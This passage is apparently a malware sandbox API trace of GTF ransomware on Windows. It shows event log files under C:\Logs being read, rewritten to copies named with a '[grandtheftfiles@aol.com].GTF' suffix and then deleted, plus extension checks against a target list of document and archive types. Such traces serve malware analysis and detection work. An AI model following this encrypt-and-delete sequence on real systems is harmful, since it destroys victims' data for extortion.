	[0083.669] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.669] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.669] GetLastError () returned 0x0
	[0083.669] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.672] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.674] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.674] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x146, lpOverlapped=0x0) returned 1
	[0083.674] SetEndOfFile (hFile=0x378) returned 1
	[0083.674] CloseHandle (hObject=0x378) returned 1
	[0083.676] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.676] SetEndOfFile (hFile=0x31c) returned 1
	[0083.678] CloseHandle (hObject=0x31c) returned 1
	[0083.678] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0083.678] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1
	[0083.678] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.678] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.678] lstrlenW (lpString=".doc") returned 4
	[0083.678] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.678] lstrlenW (lpString=".docx") returned 5
	[0083.678] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.678] lstrlenW (lpString=".pdf") returned 4
	[0083.678] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.678] lstrlenW (lpString=".xls") returned 4
	[0083.678] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".xlsx") returned 5
	[0083.679] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.679] lstrlenW (lpString=".ppt") returned 4
	[0083.679] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.679] lstrlenW (lpString=".zip") returned 4
	[0083.679] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".rar") returned 4
	[0083.679] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".bz2") returned 4
	[0083.679] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".7z") returned 3
	[0083.679] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.679] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.679] lstrlenW (lpString=".dbf") returned 4
	[0083.679] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.679] lstrlenW (lpString=".1cd") returned 4
	[0083.679] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.679] lstrlenW (lpString=".jpg") returned 4
	[0083.679] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.679] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.679] lstrlenW (lpString=".doc") returned 4
	[0083.679] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".docx") returned 5
	[0083.679] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.679] lstrlenW (lpString=".pdf") returned 4
	[0083.679] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".xls") returned 4
	[0083.679] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.679] lstrlenW (lpString=".xlsx") returned 5
	[0083.679] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.679] lstrlenW (lpString=".ppt") returned 4
	[0083.680] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.680] lstrlenW (lpString=".zip") returned 4
	[0083.680] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString=".rar") returned 4
	[0083.680] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString=".bz2") returned 4
	[0083.680] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString=".7z") returned 3
	[0083.680] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.680] lstrlenW (lpString=".dbf") returned 4
	[0083.680] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.680] lstrlenW (lpString=".1cd") returned 4
	[0083.680] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.680] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65
	[0083.680] lstrlenW (lpString=".jpg") returned 4
	[0083.680] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.680] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.680] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42
	[0083.680] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.680] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0083.680] CloseHandle (hObject=0x31c) returned 1
	[0083.681] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20
	[0083.681] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.681] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.681] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.681] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.681] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.681] GetLastError () returned 0x0
	[0083.681] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.695] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.696] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.697] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x128, lpOverlapped=0x0) returned 1
	[0083.697] SetEndOfFile (hFile=0x378) returned 1
	[0083.698] CloseHandle (hObject=0x378) returned 1
	[0083.700] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.700] SetEndOfFile (hFile=0x31c) returned 1
	[0083.701] CloseHandle (hObject=0x31c) returned 1
	[0083.702] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0083.702] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1
	[0083.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.702] lstrlenW (lpString=".doc") returned 4
	[0083.702] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.702] lstrlenW (lpString=".docx") returned 5
	[0083.702] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.702] lstrlenW (lpString=".pdf") returned 4
	[0083.702] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.702] lstrlenW (lpString=".xls") returned 4
	[0083.702] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.702] lstrlenW (lpString=".xlsx") returned 5
	[0083.702] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.702] lstrlenW (lpString=".ppt") returned 4
	[0083.702] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.702] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.702] lstrlenW (lpString=".zip") returned 4
	[0083.702] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.702] lstrlenW (lpString=".rar") returned 4
	[0083.703] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString=".bz2") returned 4
	[0083.703] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString=".7z") returned 3
	[0083.703] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.703] lstrlenW (lpString=".dbf") returned 4
	[0083.703] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.703] lstrlenW (lpString=".1cd") returned 4
	[0083.703] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.703] lstrlenW (lpString=".jpg") returned 4
	[0083.703] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.703] lstrlenW (lpString=".doc") returned 4
	[0083.703] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString=".docx") returned 5
	[0083.703] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.703] lstrlenW (lpString=".pdf") returned 4
	[0083.703] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString=".xls") returned 4
	[0083.703] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString=".xlsx") returned 5
	[0083.703] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.703] lstrlenW (lpString=".ppt") returned 4
	[0083.703] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.703] lstrlenW (lpString=".zip") returned 4
	[0083.703] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString=".rar") returned 4
	[0083.703] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.703] lstrlenW (lpString=".bz2") returned 4
	[0083.703] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.704] lstrlenW (lpString=".7z") returned 3
	[0083.704] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.704] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.704] lstrlenW (lpString=".dbf") returned 4
	[0083.704] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.704] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.704] lstrlenW (lpString=".1cd") returned 4
	[0083.704] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.704] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50
	[0083.704] lstrlenW (lpString=".jpg") returned 4
	[0083.704] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.704] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0083.704] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44
	[0083.704] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.704] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0083.704] CloseHandle (hObject=0x31c) returned 1
	[0083.704] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20
	[0083.704] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.705] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0083.705] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.705] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.705] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0083.705] GetLastError () returned 0x0
	[0083.705] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0083.818] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0083.820] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.820] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x12c, lpOverlapped=0x0) returned 1
	[0083.820] SetEndOfFile (hFile=0x378) returned 1
	[0084.071] CloseHandle (hObject=0x378) returned 1
	[0084.073] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.073] SetEndOfFile (hFile=0x31c) returned 1
	[0084.074] CloseHandle (hObject=0x31c) returned 1
	[0084.074] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.074] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1
	[0084.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.075] lstrlenW (lpString=".doc") returned 4
	[0084.075] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.075] lstrlenW (lpString=".docx") returned 5
	[0084.075] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.075] lstrlenW (lpString=".pdf") returned 4
	[0084.075] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.075] lstrlenW (lpString=".xls") returned 4
	[0084.075] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.075] lstrlenW (lpString=".xlsx") returned 5
	[0084.075] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.075] lstrlenW (lpString=".ppt") returned 4
	[0084.075] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.075] lstrlenW (lpString=".zip") returned 4
	[0084.075] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.075] lstrlenW (lpString=".rar") returned 4
	[0084.075] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.075] lstrlenW (lpString=".bz2") returned 4
	[0084.075] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.075] lstrlenW (lpString=".7z") returned 3
	[0084.075] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.075] lstrlenW (lpString=".dbf") returned 4
	[0084.075] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.075] lstrlenW (lpString=".1cd") returned 4
	[0084.075] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.075] lstrlenW (lpString=".jpg") returned 4
	[0084.075] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.076] lstrlenW (lpString=".doc") returned 4
	[0084.076] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.076] lstrlenW (lpString=".docx") returned 5
	[0084.076] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.076] lstrlenW (lpString=".pdf") returned 4
	[0084.076] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.076] lstrlenW (lpString=".xls") returned 4
	[0084.076] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.076] lstrlenW (lpString=".xlsx") returned 5
	[0084.076] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.076] lstrlenW (lpString=".ppt") returned 4
	[0084.076] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.076] lstrlenW (lpString=".zip") returned 4
	[0084.076] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.076] lstrlenW (lpString=".rar") returned 4
	[0084.076] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.076] lstrlenW (lpString=".bz2") returned 4
	[0084.076] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.076] lstrlenW (lpString=".7z") returned 3
	[0084.076] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.076] lstrlenW (lpString=".dbf") returned 4
	[0084.076] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.076] lstrlenW (lpString=".1cd") returned 4
	[0084.076] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52
	[0084.076] lstrlenW (lpString=".jpg") returned 4
	[0084.076] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.076] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0084.077] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44
	[0084.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.077] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=69632) returned 1
	[0084.077] CloseHandle (hObject=0x31c) returned 1
	[0084.077] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20
	[0084.077] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0084.077] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.077] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.078] GetLastError () returned 0x0
	[0084.078] ReadFile (in: hFile=0x31c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x365fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0084.083] WriteFile (in: hFile=0x378, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x365fc94*=0x11010, lpOverlapped=0x0) returned 1
